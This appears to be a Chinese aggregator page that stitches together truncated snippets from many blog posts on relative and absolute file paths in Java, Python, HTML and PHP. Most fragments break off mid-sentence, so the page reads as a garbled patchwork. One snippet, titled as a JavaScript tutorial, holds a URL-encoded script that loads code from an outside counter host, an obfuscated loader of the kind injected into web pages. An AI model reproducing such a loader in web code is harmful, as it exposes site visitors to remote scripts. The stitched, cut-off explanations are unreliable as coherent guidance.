笔者是个菜鸟,路径问题在写项目时经常令我迷惑,所以在此写下总结。一、相对路径1、在Java中相对路径,相对的是JVM的启动路径,而一般来说就是在项目名称下启动的。在这里我用的Eclipse写的示例,这是测试项目的目录示例代码:public class Demo1 {
public static void main(String[] args) throws Exception{
在文件操作中,最讨厌,最烦人的就是绝对路径和相对路径的问题。经常出现NullPointerException,File not exists等等。在51CTO博客上找到一篇不错的Java路径的介绍。在这里记录一下。 原文地址:http://lavasoft.blog.51cto.com/62575/265821
一般常见的项目文件夹结构:
repathtest
/**
* 了解 File 类获取文件路径的 API 差别
*
* 当前操作系统为:XP SP2
*
* 当前类的位置:D:\workspace\java\code\jdker\src\com\jdk\io\file\FilePathTester.java
* @author zhuxy
*
* @since 1.0
*/
public class FilePathTester
java 的相对路径的方式:“/”和“."。 “."代表的是运行class文件时的目录,“/”代表的是磁盘分区的根目录,比如,若java运行class文件的路径C:/User/86423/Desktop下, 那么新建文件夹,代码如下:此文件保存时采用的是utf-8格式。因为存在中文,使用javac编译代码的时候,得使用javac -encoding u
转载
2018-09-22 13:15:00
102阅读
String rootPath= System.getProperty("user.dir") 这样就获取到了项目的根目录。上面那种方式还得手动拼接,还可以通过下面方式直接获取//这里在项目下面新建了一个data文件夹,里面放置了1.txt文件
File f = new File("data/1.txt");
//打印出相对路径
System.out.println(f.getAb
1. 文件在src下class.getResourceAsStream(“”)获得的是相对路径 class.getClassLoader().getResourceAsStream(“”)加载器获得是绝对路径Class.getResourceAsStream(String path) : (1)不以 “/” 开头时,默认是从此类所在的包下取资源。 (2)以**“/”**开头,则是从ClassPat
/ 网站根路径 ./ 当前路径 ../ 上一级路径 例如以上 本地静态网站 index页面地址 127.0.0.1/bootstrap_test/index.html 需要引入 css 文件夹的 bootstrap.css文件 1、 <link href="css/bootstrap.min.css
原创
2021-08-04 09:44:39
2850阅读
python3相对路径 “/” 前有没有 “.” ,有几个“.”,意思完全不一样。“/”:表示根目录,在windows系统下表示某个盘的根目录,如“E:\”;“./”:表示当前目录;(表示当前目录时,也可以去掉“./”,直接写文件名或者下级目录)“../”:表示上级目录。if __name__ == '__main__': f1 = open('file1.txt'...
原创
2021-08-13 09:45:07
2158阅读
路径详解(重点) 1、绝对路径 1、什么是绝对路径 文件从最高级目录下开始的完整路径 1、访问网络资源 1、由以下四个部分组成 1、协议名称 ...
引言:由于很多使用者在使用我的或其他程序员的CGI、PHP是把绝对路径、相对路径和URL的概念混淆,导致遇到许多不必要的麻烦,所以我决定写此文为需要的朋友解惑。 通常我们在安装使用PHP和CGI时通常都会遇到“绝对路径”和“相对路径”这两个概念,要熟练的操作计算机的目录户对于“绝对路径”和“相对路径”就应该很熟悉才对。我想可能由于近几年学习计算机的人都是使用在windows系统,在管理文件时都是对
转载
精选
2007-02-03 05:50:08
4288阅读
//绝对路径String absolutePath = "http://www.aaa.com/1/2/3.html";//相对路径String relativePath = "../../a.jpg";//以下方法对相对路
原创
2012-09-22 15:55:23
17阅读
关于绝对路径和相对路径: 绝对路径就是你的主页上的文件或目录在硬盘上真正的路径,(URL和物理路径)例如:C:xyz est.txt 代表了test.txt文件的绝对路径。http://www.sun.com/index.htm也代表了一个URL绝对路径。相 对路径:相对与某个基准目录的路径。包含Web的相对路径(HTML中的相对目录),例如:在 Servlet中,"/"代表Web应用的跟目录。和
绝对路径
> 以根目录开始的路径是绝对路径Windows:"D:\",Linux:"/",D:\eclipse\test.txt--绝对路径
相对路径
> 相对于当前目录的路径,C:\Program Files\Java\jdk1.8.0_66\bin
>> 如果我当前操作的路径在jdk1.8.0_66
./jdk1.8.0_
一、概念绝对路径:在我们平时使用计算机时要找到需要的文件就必须知道文件的位置,而表示文件的位置的方式就是路径相对路径:由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系二、java通过绝对路径读取文件文件路径: E:\my file\images\lixin.jpg 读取文件代码:File file=new File("E:\\my file\\images\\lixin.jpg")需要注
文章目录第一部分:/ 和 .第二部分:读取文件的三种方式第三部分:三种方式对应的相对路径1.new File()2.使用类的相对路径3.使用线程的类加载器小结 在java开发过程中,经常需要读写文件,写对文件的相对路径显得尤为重要。第一部分:/ 和 .首先来看 / 和 . 对应的路径是什么:File file = new File("/");
System.out.println("/ 代表的绝
HTML Tags and JavaScript tutorial <script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=u
大牛们应该对路径都很了解了,这篇文章主要给像我这样的入门小白普及常识用的,啊哈下面的路径介绍针对windows,其他平台的暂时不是很了解。在编写的py文件中打开文件的时候经常见到下面其中路径的表达方式:open('aaa.txt')
open('/data/bbb.txt')
open('D:\\user\\ccc.txt')这三种表达式里面,前两个都是相对路径,第三个则是绝对路径。绝对路径比较好
绝对路径:总是从根文件夹开始,Window 系统中以盘符(C:、D:)作为根文件夹,而 OS X 或者 Linux 系统中以 / 作为根文件夹。相对路径:指的是文件相对于当前工作目录所在的位置。例如,当前工作目录为 "C:\Windows\System32",若文件 demo.txt 就位于这个 System32 文件夹下,则 demo.txt 的相对路径表示为 ".\demo.txt"(其中 .